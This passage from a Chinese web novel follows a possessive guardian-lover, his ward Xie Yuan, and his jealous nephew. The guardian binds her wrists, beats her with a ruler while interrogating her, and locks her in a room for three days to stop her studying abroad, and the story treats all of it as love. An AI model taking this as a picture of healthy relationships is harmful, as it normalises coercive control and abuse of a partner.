她是沈长凛放在心尖上宠溺的人,他不许旁人给她委屈受,更不允旁人让她难过。伤心。
这些年跟温家继续联络,也不过是给她找玩伴。
谢沅是沈长凛娇藏的姑娘,也是他最不容人染指的核心利益。
谁都碰不得,谁都不能惹。
沈宴白一直以为沈长凛多少是在乎他的,甚至对他很好很疼,当初他叛逆胡来,沈长凛也从没说过什么。
至此他方才明白,沈长凛无非是不在乎他罢了。
在沈长凛的世界里,除了谢沅,旁人什么都不是。
在谢沅的世界里,也同样是如此的。
再一想到谢沅方才抗拒和害怕的眼神,沈宴白更是有种说不出的感受,怪不得她迟迟不肯说出爱人是谁。
怪不得她那么抵触他。
沈宴白站在休息室外的廊道里,他倚在门边,身躯却不住地往下滑落,胸腔里是剧烈的痛楚。
到此刻他终于明白,他失去的是什么。
沈宴白的烟瘾轻微,就是肺病严重时,他也从没想过戒烟。
除了吸烟、喝酒、和女人一起,他是真的没有别的爱好了,他不玩车,不玩极限,对表什么的也一点兴致都没有。
但是从意识到谢沅不喜欢烟味开始,沈宴白就开始戒烟戒酒。
他这些天甘愿住在外面,除了害怕吓着谢沅,就是在做调养。
沈宴白是想过要做好一个丈夫的。
沈长凛那么疼谢沅,他若是如霍阳那般,恐怕也难得到沈长凛的点头和首肯。
今天的这整场宴席都是为谢沅准备的。
沈宴白嘴上说她答应不答应都无所谓,可是他的心里,怎么可能没有幻想过她会答应?
他的女友们都很讨厌谢沅。
其实这哪里是谢沅的错?
早在太久、太久之前,他对谢沅的情绪就不太对。
沈宴白和霍阳很像,他虽然没有那般来者不拒,但对性别为女的人,总要更宽善许多。
可是他一直那么讨厌谢沅。
叛逆的青春期里,沈宴白都怀着对谢沅的厌烦度过,但回国才不久,他就渐渐陷了进去。
他的转变真的可以有这么快吗?
沈宴白沉默许久,到底是又点了一支烟。
——这或许是因为他不是真正地厌烦她,他只是和本能抗争得很痛苦。
父亲一生风流,作恶无数,最喜欢的就是温柔小意的女人,在外养了无数情人,沈宴白也曾见到过。
那些菟丝花一样的女人,没有任何能力,全靠男人才能活。
沈宴白的母亲也是那样的人,她依靠男人而活,没有任何独立的能力,宛若伥鬼般陪着他作恶。
沈宴白恨他的父亲,也恨他的母亲。
但他的血脉里仍然流淌着他们卑劣的基因。
掠夺娇柔的弱者,对沈宴白来说是一种很痛苦的本能,他无法抗拒,又深陷其中。
见到谢沅的第一眼,他就对她生出了强烈的抗拒和排斥。
可是他的情感表达那么错误,她还是爱上了他。
她的爱远比他要痛苦百倍。
在孤独酸涩的青春,谢沅眼看着沈宴白一任一任地换女友,忍受着他的厌烦和嫌恶,后来他出国,她数着日子等他回来。
他在乎得最痛苦的这个人,因为他痛苦若吞针。
情绪无法宣泄,在黑暗中挣扎数载。
谢沅终于放弃了沈宴白,现在跟她在一起的那个人很爱她、很疼她,将她放在心尖尖宠溺。
沈长凛哪里舍得强迫谢沅呢?
沈宴白那样问,也不过是想要再最后挣扎一下,让自己别那般难堪罢了。
她一定会很幸福的,可是沈宴白胸腔里的痛楚却更深重了。
就好像有千万根长针于乍然间刺进心口。
沈宴白这样想着,血气也是这样从肺腑里开始上涌,再自喉间溢出的。
他下意识地掩住唇,摊开手时,便看见了一滩血-
谢沅不知道她是怎么被沈长凛抱出酒店、带回家、摁在床上的。
她只记得她一整路都在哭。
在细腕被领带绑住时,谢沅忍不住地掉眼泪,她哭着唤道:“叔叔,我真的、真的不知道哥哥想要那样……”
她哭得好像很无助,很可怜。
但沈长凛的心中生不出半分的怜意,无数残忍的念头在漫涌,如若暗处的潮水,无声息地倾覆。
他的声音冷淡:“你要叫我什么,沅沅?”
谢沅被沈长凛用一种怪异的姿势抱着,手腕被举过头顶后,她全然没有挣扎的余地。
还在车上,她不敢唤出那个称呼。
但现在这些不是能够由她决定的。
谢沅的眼眸泛红,却到底没敢在这个关头忤逆沈长凛,她咬了下唇瓣,轻轻地唤他。
等来的却不是宽宥,而是更严苛的对待。
沈长凛指节冰冷,他轻轻拍了拍谢沅的脸庞:“不错,还记得我是谁。”
他的动作并不重,但蕴着的惩诫意味却很强。
谢沅的腕骨被束缚着,她的下颌微抬,低低地吸着气,眼泪顺着脸庞往下落。
“我不会那样做的,叔叔。”她哭着说道,“我跟哥哥真的什么也没有。”
谢沅的话语很诚恳。
但相信她的前提是,沈长凛并不知道她曾经恋慕过沈宴白多年。
谢沅其实不太会说谎,在他的跟前,她更不敢说谎。
可就是在这个怯弱懵懂的小女孩身上,沈长凛遇到过最深重的骗局。
他行事向来谨慎,尽管已经听了谢沅无数声的告白,也知道她的感情经历如若白纸,那个夜晚过后,他还是很温柔地问她:“现在有男友,或者喜欢的人吗?”
谢沅坐直身子,长睫低低地颤抖。
她一直都挺怕他的,方才眼泪就掉个不停,他说没关系,将她抱在怀里哄。
她却哭得更厉害。
现在好不容易不哭了,却不敢答话。
沈长凛只得继续补充道:“有的话也没关系,昨天的事只是意外,叔叔不会干涉你的。”
谢沅的长睫颤抖,她因为惧怕,身躯都难以支撑。
最后她含着泪,摇头说道:“没有,叔叔。”
谢沅分明是有爱慕之人的,她爱那个人,明知是无望的,依然如飞蛾扑火般地渴求着对方。
她说了谎言,说了弥天大谎。
所以后来知悉真相时,沈长凛才会那样动怒。
他已经被骗过一次了,也用过一次残忍狠戾的手段。
沈长凛是不想再那样对待谢沅的,可是现在听着她辩解的话语,那些早已被压到记忆深处的黑暗念头,全都涌了上来。
“没有?”他的眸色晦暗,“既然你对他没有想法,为何要随他过去呢?”
沈长凛的容色狠戾。
“我什么时候跟你说过,周六有宴席?”他的声音冰冷,“连过寿宴的人是谁都不知道,你就跟着他过去。”
沈长凛低声说道:“然后现在告诉我,你什么都不知道。”
他凝视着谢沅的水眸,眼底是一片深暗。
是啊,明明有这么多的漏洞,但她却偏偏没有发现。
谢沅的思绪紊乱,她眸里含着泪,强忍住崩溃感,绞尽脑汁地回想,终于记起来沈宴白那时的话语。
他自然地把礼服给她,轻声说道:“是叔叔之前吩咐的,我忘跟你说了。”
谢沅对圈子里的事很多事,都颇为懵懂。
一般都是沈长凛说什么,她就做什么。
所以沈宴白一说是沈长凛说的,谢沅想都没有多想,就直接答应下来了,她还有点生气,这么重要的事,沈宴白居然能忘记。
他们家一直都是这样的。
沈长凛在时,那所有的事都要听他的。
他不在时,就由沈宴白当家,如果沈宴白也不在,谢沅就得自己做事。
谢沅对沈宴白的戒心很重,但她全然没敢想到,他竟然还在这种事上作假。
马上就要到沈家,等回到家后,沈长凛绝对不会放过她。
谢沅不顾接连掉落的眼泪,哭着说道:“叔叔,是哥哥骗我的,他说这是您吩咐的。”
沈长凛是能够判断谢沅是否在说谎的。
听到她这句辩解,他快要被气笑了。
沈长凛掐住谢沅的下颌,声音漠然:“沅沅,用一个谎言去圆另一个谎言,是没有用处的。”
轿车很快就停下。
沈长凛直接把谢沅打横抱起,时间还早,有路过的保镖撞到了这一幕。
她怕得厉害,哭叫着想让沈长凛放开她,但他却更狠了。
“别哭,沅沅。”他低声说道,“你再哭,所有人都知道你是怎么……的。”
沈长凛性格的底色是偏执冷情,但他总还会用温柔的一面来惑人。
谢沅时常会惹怒他,也碰到过他的逆鳞,却还没有再床笫之外的地方,听过这么重、这么狠的话。
她惧怕得身躯颤抖,却连哭都不敢哭出声。
被摁在床上时,谢沅是彻底绝望了。
她哭到最后,话都要说不出来了,嗓子哭哑了。
喝水的时候,水也顺着已经肿起的唇瓣往下滑。
但男人的审问还没结束,他轻按住谢沅的柔膝,用戒尺挑起她的下颌:“我问一句,你答一句,如果再说谎,后果你知道的。”
她身上一点力气也没有。
谢沅本来就怕沈长凛,现在跟他在一起多时,他一动怒,她还是惧怕得厉害。
戒尺那么冷,黑色的檀木戒尺按在腿间,让她连颤抖都不敢颤抖。
谢沅带着鼻音,低低地应道:“好,叔叔。”
第一轮的惩诫结束后,沈长凛的容色好转了少许,眼底却依然是冷的:“沈宴白是什么时候告诉你,这个周末要参加宴席的?”
他好像冷静了少许,却又好像没有。
谢沅被沈长凛抱在了腿上,她挣动不得,但好在他看不见她的容色。
她记不起来。
之前谢沅一直没看沈宴白的消息,他又很久没再家里住,刚好她自己的事情也多,这件事一直没在意。
她对参加宴席这种事,并没有十分上心。
尤其是不那么认识的人。
很多时候,像谢沅这种无名小卒,不过就是去走个过场而已。
只有那种十分盛大的,她才须要准备好久。
谢沅想不起来,但她不敢直接告诉沈长凛,抽咽着说道:“我们之前吵架了,叔叔,我想去找思瑜姐姐,然后他不同意。”
“哥哥刚好事情多,就去公司住了,”她带着哭腔说道,“好像是他有一次发消息说的。”
谢沅害怕臀尖上按着的戒尺。
沈长凛稍微动了一下,她就怕得绷紧了身躯。
谢沅微微抬起身子,说道:“叔叔,要不我拿过来,您亲自看一看吧?”
她刚想回过头,看向沈长凛,带着风的戒尺就重重地落了下来。
厚重的黑色檀木戒尺冰冷,远比巴掌要疼得多,谢沅刚刚止住的泪水,又倏地落了下来。
她忍不住地颤抖,发出低低的泣音。
沈长凛按着谢沅的腰身,漫不经心地说道:“我准许你起来了吗?”
她的手机就放在旁边。
聊天记录很长。
都是沈宴白发的,谢沅一条也没回过,还将人拉黑过,现在仍在屏蔽着。
沈宴白发觉被拉黑后,反复地用旁人的号码发消息,谢沅没办法,才把他放出来的。
聊天记录很清晰。
沈宴白的确是打着沈长凛的名号言语的,谢沅很好骗,一听说是叔叔说的,虽然不情愿,但还是别别扭扭地答应下来。
看完以后,沈长凛眼底的冷意消退少许。
但他没有放过谢沅,继续地审问。
沈长凛可能真的学过刑讯。
谢沅在生活中的记性很差,反应迟钝,又还很容易走神。
她根本经不住这样的审问,眼泪掉个不停,连之前取消沈长凛置顶的事都说出来了,却还没被放过。
不过他终于换了个姿势抱她。
虽然这个姿势也没有好到哪里去。
谢沅被迫跟沈长凛面对面,她不敢看他的眼睛,却被迫着只能看他。
她的眼泪掉了好多,这会儿连视线都有些模糊。
谢沅想讨好沈长凛,她微微倾身,试着去吻他的唇,将要触碰到那冰凉时,他却掐住了她的后颈。
明明审问她的人是他,明明猜忌她的人是他。
可为什么现在好像很难过的人也是他?
谢沅的眸光颤抖,她望向沈长凛颜色稍浅的眼眸,忽然有些迷乱。
“这一次,跟我说实话,沅沅。”他声音很轻,“你现在还有没有爱着的人?”
刚刚沈长凛罚谢沅时,她都没有这么慌乱,此刻听到他这样的话语,她的心底都泛着无措。
她的眼眶发酸,声音也哑着:“有呀,当然有。”
沈长凛掀起眼皮,看向了谢沅,有某一个瞬间,她又想起那个夜晚。
他想要将她推开,想要将她拒之千里,想要将她从他的世界中永远地送走。
谢沅觉得她不懂沈长凛。
很多时候他对她的欲念的确是病态的,他要掌控,要占有,要侵略,要她的身心、她所有的一切都属于他。
可某些时刻,沈长凛好像格外地迟疑。
爱怜人到一种地步,是会想到放手的,可是为什么要放手?为什么要把她推开呢?
谢沅哭着说道:“我的人就是你呀——”
“你看不出来我爱你吗?”她低吼着说道,“或者说,你为什么总不相信我爱你呢?”
谢沅的情绪起伏很大。
说完这句话后,她的泪水又落了下来。
眼前阵阵地发黑,谢沅几乎有些想要晕眩过去,沈长凛紧紧地抱着她。
他神情怔忪,连声问道:“沅沅,你有没有不舒服?”
都到这个关头了,比起谢沅爱不爱他,沈长凛更关心的还是谢沅的身体,她的眼泪落个不停。
她抬起眼帘,带着哭腔说道:“你没有听到吗,我在说我爱你?”
谢沅是个很乖的孩子,她很少会说任性的话。
但现在她一句乖顺的话都不想说,她甚至不想告诉沈长凛她没事。
“叔叔听到了,沅沅。”他的薄唇微抿,手却还是下意识地探向她的额头,“叔叔也很爱你。”
沈长凛心底那些残忍的念头还没有褪尽,但此刻看到谢沅这样的神情,他的胸腔里都是尖锐的刺痛。
他是永远都不可能放手的。
就算谢沅真的不爱他,仍然对沈宴白有着很深的执念,他也不会放手。
都已经答应他的求婚了,她就再也不能离开他。
但沈长凛见不得谢沅伤心落泪。
他将她抱在怀里,终于是忍不住地开口问道:“那你现在还爱你哥哥吗?”
“沅沅,告诉我,好不好?”沈长凛压抑着情绪,“你到底还爱不爱沈宴白?”
谢沅哭得眼眸肿痛。
她的情绪濒临崩溃,却在沈长凛这样问话时乍然清醒过来。
某一瞬间,有个大胆到近乎荒唐的猜想突然闯进了脑海里。
谢沅怔怔地看向沈长凛,她本能地就问了出来:“……你知道?”
他没有言语,只是揽着她。
那便是默认的意思了。
谢沅强撑了一晚上都没有崩溃的情绪,终于是在这个时候断裂了,她打开了沈长凛手,哭着说道:“你知道是不是?你一直都知道?”
被明愿和沈宴白撞破心事时,她都没有这样难堪和无措。
沈长凛是何等尊崇贵重的人。
他温柔有礼,却绝对不谦逊,相反,沈三公子年少时就是很傲慢的人。
沈长凛尊崇权重,矜贵疏冷,不染人间烟火。
如果不是当初喝醉酒,意外和沈长凛共枕,谢沅就是到死也不敢肖想他分毫,他是她的长辈,是她的叔叔,是将她拉出深渊的人。
他应该是傲慢的,冷漠的,禁欲的。
对于谢沅这样的孩子,沈长凛或许会愿意照顾、疼宠,但绝对不应该会早早动心念。
可他一直没有答话,她便知道他默认了。
谢沅突然意识到沈宴白为什么会那么问。
如果沈长凛一直知道的话,他不就是在强掠她吗?
他明明知道她心有所属,却还是将她强拉入了怀抱里。
这么久以来,沈长凛站在黑暗里,看着她飞蛾扑火,看着她为沈宴白伤心落泪,他看了她太久,最终是生出晦念,将她温柔吞噬,再难挣脱。
他们之间的事,哪里是意外?
分明是蓄谋已久。
当初李特助言说,沈总身边这么些年孤寂,高处不胜寒,大抵也全是沈长凛的授意。
谢沅所以为的为他分忧,不过是他一步步将她拉下深渊的陷阱。
她的眼泪不住地往下掉,情绪也越加崩溃。
“你为什么不说——”谢沅的哭腔破碎,“是看着我痛苦地挣扎,很有意思吗?”
她捶打着沈长凛的肩头。
谢沅崩溃地说道:“知道我爱上你的时候,你是不是很得意?”
沈长凛紧紧地抱着谢沅,竭力想要平复她的情绪:“不是!你听叔叔解释,沅沅。”
无论遇见天大事,都淡漠从容的男人。
到底是在这一刻乱了神色。
“叔叔没有那么想过,”沈长凛声音微哑,“叔叔是怕给你带来困扰,怕你不喜欢叔叔,怕你想要因之和叔叔疏远。”
他看向谢沅,捧住她的脸庞。
沈长凛深吸了一口气,继续说道:“那天晚上的事,的确是个意外。”
“你那天喝醉酒,把我当成了哥哥,”他低眉眼,“我以为你是在跟我告白,才顺水推舟的。”
沈长凛很轻地吻了吻谢沅的额头。
他声音很低:“后来知道你对我无意,我也是真的想送你走。”
谢沅对那两个晚上的记忆都很模糊,那是她本能想要回避的事情,此刻听到沈长凛这样言说,早已凌乱的回忆突然变得无比清晰。
没错。
那天是她在沈宴白那里受了委屈,方才意外缠上沈长凛的。
如果她没有喝酒,如果她没有非要拽他上床,其实事情本不会变成那个样子的。
是她把这一切给弄成这幅模样的。
谢沅的情绪紊乱,胸腔里也疼得厉害。
她是多么清楚地意识到,在她飞蛾扑火的时候,沈长凛也一直地、一直地等待她回心转意。
如果谢沅没有放弃沈宴白,最终没有爱上沈长凛,他或许真的就一辈子都不会将这些事说出口了。
昔年傲慢矜贵如沈三公子。
有朝一日,也会为爱缄默敛意。
明明他是她连肖想都不敢肖想的人——
“你不可以再那么想,沈长凛。”谢沅抽咽着说道,“你这是想要弃养,特别不好,特别没有道德。”
她说的是任性的话,但那双眼里却全都是泪意。
爱一个人爱到深处的时候,是会为他痛苦的,明明执念的、压抑的人是他,她的心脏却也会为之作痛。
沈长凛在此刻无比清晰地意识到,他的沅沅的确是爱他的。
在知道他是个怎样阴暗、残忍、偏执的人以后,谢沅还是选择了爱他。
沈长凛紧紧地揽着谢沅,哑声说道:“叔叔不会那样的,沅沅。”
谢沅哭得很累很累,却还是又吻上了沈长凛的唇,她一边吻,一边掉眼泪:“沈长凛,我这里好疼。”
她的小手覆上他的大手,一起按到了她的心口。
“你以后要多相信我一些,”谢沅带着哭腔说道,“不然我这里总是要好痛,好难过。”
在这个世界上,她最不希望的就是沈长凛难过。
她希望他永远不染世俗尘埃,永远高高在上。
人间的烟火烦扰,统统都应该与沈长凛无关才对,可是谢沅没能想到,她最在意的这个人,早就为她入了凡尘。
世间的七难八苦,他也为她而尝。
沈长凛紧搂着谢沅,声音沙哑:“叔叔永远都相信你,沅沅。”
他们相识已经有五年,共赴巫山也有将近一年,却还是在这个夜晚,才实现了真正的魂魄相撞。
两个人的心,至此终于相连-
谢沅记不清夜里是几点睡的,她做了好多梦,杂乱的记忆全都揉在一起,怎么理都理不清。
她甚至想不起,自己现在多大了在哪里。
好像还隐约发了低烧。
沈长凛喂她吃了点药,然后给她贴了张退烧贴。
谢沅翌日醒过来时,额前已经冰冰凉凉,她昨天晚上哭了太久,还说了好些任性的话。
睁眼的刹那,海水般的回忆开始涌动,她一时之间有点头痛。
谢沅下意识地想唤叔叔,她侧过身才发觉沈长凛不在。
他那么忙,肯定不可能一直陪在她身边。
谢沅低着眼眸,她端起杯盏喝了点水,然后便觉得腹中空空,有很强的饥饿感。
她穿着白色的睡裙,踩着兔子拖鞋就下了楼,一抬眼就和站在露台边的沈宴白对上了视线。
昨天的事来得匆忙。
谢沅那时候有脾气,很多话说的出来,很多事也做的出来。
但情绪下去后,反倒没什么心念了。
谢沅在家里穿的睡裙并不长,遮不住那些深深浅浅的痕印,她的锁骨上还有咬痕,娇嫩的雪肤被咬破,隐约带着血痂。
她没想到沈宴白在家,这会儿也懒得再换衣服了。
反正她跟沈长凛现在是什么情况,他也心知肚明。
谢沅破罐破摔地绕过沈宴白,去拿冰箱里的三明治和水果蛋糕,他的脸色很苍白,轻轻地唤她:“沅沅。”
他的容色不好,看起来像是在生病。
谢沅微怔了一下,想起沈宴白之前胃出血时的姿态。
她轻声说道:“要我帮你给医生拨个电话吗,哥哥?”
“谢谢你,沅沅。”沈宴白笑了一下,“先不用,我还好着呢。”
他是在笑着的,可那神情却那么怪异。
谢沅往后退了两步,抿了抿唇,低声说道:“好,那我先过去了。”
“等一等,沅沅。”沈宴白又叫住谢沅,“你别怕我,等过段时间,哥哥就要出国了,这次要去很久,你不用再担心跟我共处一室。”
他低下眼帘,眉眼间带着些恳求。
沈宴白声音很低:“再跟哥哥说些话,好不好?”
谢沅的眼眸微微睁大,沈长凛这次出国就是去处理海外的事情。
之前负责海外事宜的是沈家的一位老臣,但是后来动了别的心念,他最终是选择铤而走险。
那边的事务大乱,沈长凛才亲自过去。
现在事情处理得差不多了,但还要安排新的主事者。
沈宴白是沈家的大少爷,单是身份就能服众,而且他肯定不会做违背沈家利益的事。
的确是个很好的人选。
谢沅昨夜还在想,以后再见面要怎样和沈宴白相处,一转眼他就要离开了。
海外的重建是件麻烦事,上下都要脱胎换骨。
没个三年五载,沈宴白估计是不会回来。
或许是人之将离,其言也善。
谢沅坐在岛台前的高脚椅上,长睫垂落,轻声说道:“哥哥想跟我说什么?”
沈宴白哑声问道:“沅沅,叔叔对你好吗?”
“叔叔对我特别好,”谢沅低着眸说道,“他很爱我,我也很爱他,他是世界上对我最好的人了。”
沈宴白沉默了片刻。
其实谁都知道沈长凛对谢沅有多好,他疼她爱她,从不遮掩对她的宠溺。
他就是要所有人都知道,沈家的大小姐,不是谁都能招惹的。
这样的问话,是全无意义的。
沈宴白声音沙哑,他又问道:“你们是什么时候在一起的?”
谢沅的长睫抬了起来,轻声问道:“可能不是哥哥想要的答案,你确定要听吗?”
沈宴白最终是点了点头。
谢沅闭上眼眸,开始回想当时的事:“是去年的圣诞节。”
“不知道你还记不记得,当时你将女友带回家,”她徐徐道来,“我意外撞见了,你当时很生气,我也很难过。”
谢沅坐在岛台前。
日光透过玻璃窗照了进来,为她的容颜洒上一层瑰丽的剪影。
“那天晚上我喝了酒,不小心将叔叔当成了你,”谢沅声音很轻,“然后我们就在一起了。”
她其实并不想把这些讲出来的。
真相有时比谎言更残忍。
沈宴白的神情也昭示了这一点,他陡地站起身,最注重餐桌礼仪的人,将面前的水杯打翻了,容色都还是那样的僵硬。
“刚开始我很害怕,”谢沅垂着眸,“可是叔叔对我很好,也很爱我。”
沈宴白的眉眼阴翳。
“所以他还是掠夺你了,是不是?”他的声音沙哑,“你不全是自愿的,对不对?”
沈宴白像是极力想寻出证据,谢沅是被沈长凛强迫的。
但她摇了摇头。
“我是自愿的。”谢沅仰起头,“我自始至终都是自愿的。”
沈宴白情绪波动,他撑着手臂,倾身看向谢沅:“你不是,谢沅!你只是觉得自己是自愿的罢了,其实他就是在强迫你。”
更多的话,谢沅是不想说的。
可她不想沈宴白这样想沈长凛。
“哥哥,你有没有听说过一个词叫‘移情’?”谢沅抬眸说道,“就好像你把你对母亲的厌恶,投射到了我的身上一样。”
她低下眼帘,很轻声地说道:“我对哥哥,或许也只是移情。”
对于年少的谢沅来说,沈长凛是她连肖想都不敢肖想的人。
他身份贵重,还是将她从深渊中拉出来的人。
特别是在她来到沈家之前,他们就有过约定,要她作为沈家的大小姐去嫁给旁人。
谢沅的道德感很重。
她对沈长凛的情感是不道德的,是无法被宣之于口的。
所以在郊游跌伤时,沈宴白的那双手才会被谢沅看得那样重。
如果说沈长凛是将她从深渊里拉出来的恩人,沈宴白就是将她从不道德感中拉出来的恩人。
爱上沈宴白,对谢沅来说才是错误,才是意外。
她来到沈家前受了那么多的伤害,没有道理再去爱上一个厌恶自己的人。
可是有时候,命运就是如此诡谲。
沈宴白的胸腔剧烈地起伏着,他站在岛台前,脸庞因为逆着光,阴沉到发黑。
“不会的,沅沅。”他声音拔高,“你爱了我那么多年,为我流了那么多的泪,难道也全都是假的吗?”
沈宴白的神情几欲发疯。
他的声音也有些尖利:“你之前爱的明明是我,就是我!”
谢沅低垂着眼眸,没有再说话了。
沈长凛站在二楼许久,轻声向保镖说道:“带大少爷去休息,然后请医生再过来一趟。”-
沈宴白出院后,谢沅才知道他犯肺病,病重到住进医院里了。
但他没再家里多待,将这边的事情处理完后,就飞去处理海外的事了。
沈长凛漫不经心,轻声说道:“那边空气好,有利于治他的肺病,而且事情总比国内要少,再不济还有承月和温思瑜,没什么好担心的。”
他是真的很会利用人。
秦承月和温思瑜一起逃婚私奔后,沈长凛直接把他们送去了海外。
男人的语气温和,好像真的不在意。
但谢沅却能觉察到他的情绪,她摇了摇头,眨了眨眼睛:“我没有担心哥哥,叔叔。”
她就没见过比沈宴白更能糟蹋自己身体的人。
可偏偏他的身体又特别经得起糟蹋,怎样胡来都偏偏不会真的有事。
时间过得真的很快,一转眼就快要到十一月了。
上个周五,谢沅提交了去德国交换的申请,沈长凛周六从滨城飞回来,把她狠罚了一顿。
后来他离开,她又偷偷地提交了材料。
然后就是现在。
再次提交材料失败后,谢沅被沈长凛关在卧室里整整三天,到今天谢敏行的忌日,才勉强能出来。
沈长凛是希望谢沅能够更开朗些的。
但将事情都摊开后,她的胆子未免变得太大了些。
谢沅手里抱着很大一捧白色的花朵,轻轻地放在了她素昧平生的祖父面前。
今天的天气很好,他们到得早,可谢敏行的墓碑前,已经有很多别人放的花了。
“您应该也听说过我祖父是什么样的人,叔叔。”谢沅声音很轻,“他是大家族里头的大少爷,但特别离经叛道。”
她低下眼眸,说道:“他讲了一辈子的平等……”
沈长凛微微俯身,擦去谢沅脸庞上的泪水,声音低柔:“我知道,沅沅。”
“我也想像他那样,像我爸爸那样,”谢沅带着哭腔说道,“我只去一年叔叔,可不可以?”
从她最初开始学德语时,沈长凛就知道,她动了这个心念。
学哲学的,哪里有不想去德国的?
可谢沅从十五岁到现在,除了去瀛洲,还从来没有离开过他的身边,这让他哪里能放心?
尤其是她还敢偷偷地提交申请,妄图先斩后奏。
谢沅是拒绝不了沈长凛的,其实沈长凛也拒绝不了谢沅。
他将她浇灌多年,滋养长大,怎么会舍得折断她的翅膀,将她困在掌心?
沈长凛吻了吻谢沅的额头,轻声说道:“不哭了,沅沅,申请叔叔帮你提交过了。”
“不过去德国的事,还要慢慢准备,”他声音温柔,“下次有想做的事情,可以和我直说,不用先斩后奏。”
——她是一朵柔弱的菟丝花,可是他愿意把整个春天捧到她的眼前。
第64章 “自己报数,错一下重来。”……
沈宴白肺病和胃病都很严重,但还是第一次吐血。
病症严重到一种地步,除了住院检查、做手术外没有任何解决途径。
情绪起伏太大,会很快地反应到身体身上,俗称就是气血攻心,他的身体从小就不好,瞧着健壮,实则跟玻璃做的似的。
一发作起来总格外严重。
沈宴白小时候肺病比现在还严重,燕城每逢冬天雾霾很重。
他母亲没办法,只能把他送去滨城的舅舅家。
滨城以四季如夏闻名,其实空气好也是一绝。
送沈宴白去滨城的时候,沈家人已经是死马当成活马医了,他母亲甚至开始旁敲侧击,问他父亲外面的情人怎么样,要是有孩子的话,就准备将孩子接到家里吧。
那时候当家的是沈夫人。
她皱眉摇头,他母亲才收回这个荒唐的提议。
成年以后,沈宴白的病症很久没有发作得这么严重过。
进入重症监护室后,时间的流逝变得很虚无,从麻醉里醒来过后,世界都是缥缈迷乱的。
他小时候经常面对这种情境。
但这一次却不一样,沈宴白睁开眼是谢沅,闭上眼还是谢沅。
可能真的是命里的情债,他平生头一次动真情,落了个这样荒唐的结局,更讽刺的是,这每一步都是他自己走出来的。
以前沈宴白还挺喜欢圣诞节的。
热闹,浪漫,又不像春节似的,总有各种宴席和走动。
但以后他觉得他永远都喜欢不起来了。
这些天在重症监护室里,沈宴白总是想起那天的情景,想起谢沅红着的眼眶,想起谢沅无措的神情,想起谢沅诛心的话语。
他终于想到她是花朵,终于想到要呵护她。
她也再不会属于她了。
明明出问题的是肺和胃,但疼得厉害的却是心脏,胸腔好像被尖锐的锋刃穿透了似的,一直不受控的绞痛着。
从重症监护室出来后,很多人来看沈宴白。
沈长凛将事情完全地压了下来,其实他不压,沈宴白也绝对不会让当日的事有分毫风声走漏。
他们的声名不重要,可谢沅的身上,不能够沾染到丝缕的艳闻。
众人都以为沈宴白是忙得太过,也就温怀瑾和霍阳知道真相。
沈宴白这次病得太重,好端端的副总突然间销声匿迹,就是藏也藏不住,沈长凛索性将事情摊开了,反正沈宴白身体不好,也不是一天两天的事了。
温怀瑾代表温家来探望沈宴白。
他还好心地带了束花。
温怀瑾瞧着文质彬彬,平易近人,像是个邻家哥哥,模样很能将人骗过去。
谢沅单纯,如果不是他主动暴露,她全然都被哄过去了。
沈宴白却看得出来,就好像霍阳也能看得出来一样。
“真遗憾,宴白。”温怀瑾柔声说道,“我还以为下回给沅沅送花,是在你和沅沅的婚礼上呢,这下好了,只能送去你叔叔和沅沅的婚礼上了。”
他像个老狐狸,为人阴恻恻的。
沈宴白准备求婚仪式很小心,他没有傻到大张旗鼓,是假借一位长辈寿宴的名义。
一是为了怕谢沅直接拒绝,二就是为了防止意外发生。
前不久温思瑜逃婚的事才刚过去不久。
但就是再多亲近人构成的组织,照样可能会出现疏漏,特别是他们本就时刻盯着对方的情况下。
温怀瑾一开口,沈宴白就明白当日是谁给沈长凛透的信了。
他仍然躺在病床上,指节捏得作响,如果不是身体不允许,他现在就想站起来,直接给温怀瑾一拳。
温怀瑾也意识到了这一点。
他笑得更加得意了。
温怀瑾双腿交叠,坐在病床边的小沙发上,他拿了苹果,轻轻地削着:“沈少的故事我听说了,真是太遗憾了。”
“要是沅沅也喜欢过我,”他温声说道,“她二十岁那天,就该直接嫁给我了。”
温怀瑾翘着二郎腿,笑着说道:“沅沅爱你的时候,你那么讨厌她,现在你爱她了,沅沅已经不喜欢你了。”
他摇着头说道:“真可惜,真可惜。”
但那双眼里别说遗憾可惜了,就是一点装出来的难过情绪都没有,全都是明晃晃的得意和讽刺。
不过这世上大概也只能温怀瑾,能够这样嘲笑沈宴白。
沈宴白的脸色原本是苍白的,现在变得铁青,甚至隐隐发起黑来。
他的手按在床沿,眉眼阴翳:“你不会说话就滚出去。”
沈宴白厌恶温家人不是一天两天了,他原本对温怀瑾还没什么感觉。
毕竟温怀瑾一直在国外,就是最近才刚回国。
沈宴白之前厌恶温怀瑾是因为他觊觎谢沅,而且总想有出格的举动,但现在他清楚地意识到,温怀瑾哪里是狐狸?
他分明就是个狗。
不对。说温怀瑾是狗都侮辱狗了。
“欸,沈少别生气。”温怀瑾又笑了一下,“我这也没说什么,就是陈述事实而已。”
知道的,还以为他是来看病人的。
不知道的,恐怕还以为温怀瑾是来报仇雪恨的。
他将苹果很快就削好,然后直接“咔滋”一声就吃了下去,明明就是很普通的苹果,他却吃得仿佛是天上仙果。
这对一天前还只能注射葡萄糖的沈宴白来说,是一种很大的伤害。
他骂了句脏话,直接逐客:“行了,你滚吧。”
温怀瑾勾起唇角,坐得更加不动如山。
“我听说沈少高升,要去海外做总负责人了?”他笑着说道,“恭喜恭喜。”
沈宴白的脸色更黑,他简直想强撑着站起来,给温怀瑾一巴掌了。
他海外的事是他自愿的。
沈家毕竟要由沈宴白来撑着,沈长凛不可能一辈子给他保驾护航,就是没有谢沅的事,他也一定要过去坐镇一段的。
但被温怀瑾这么一说,沈宴白的情绪就好不起来。
“你盼着我走有什么用?”他冷笑一声,“就是我叔叔走,沅沅也永远不可能落到你手里。”
温怀瑾笑了一下。
“那我的优先级也比你高吧,”他微笑着说道,“沅沅不喜欢风流的男人,我至少还是处男呢,沈少嘛……”
世界上怎么会有这么不要脸的男人?
沈宴白到底是没有忍住,强撑着站了起来,病房里警报的装置立刻响了起来。
医生和护士们进来,瞧见的就是温家少爷一脸急色、小心关照沈宴白的场面-
谢沅刚开始准备材料的时候,真的只是想着试一试。
她还没有背着沈长凛做过什么事,两个人现在关系彻底确定了,她也没有那么大的胆子。
沈长凛很多时候对谢沅很温柔。
他的耐心好的时候真的特别好,谢沅看很枯燥的哲学原典,有段时间眼睛疼,他那么忙的一个人,轻声细语帮她念着听。
沈长凛就是再全能,也不可能了解哲学这么深。
那些词句对外行来说,无聊透顶,看两页能直接睡过去,可是沈长凛真的念给谢沅听了。
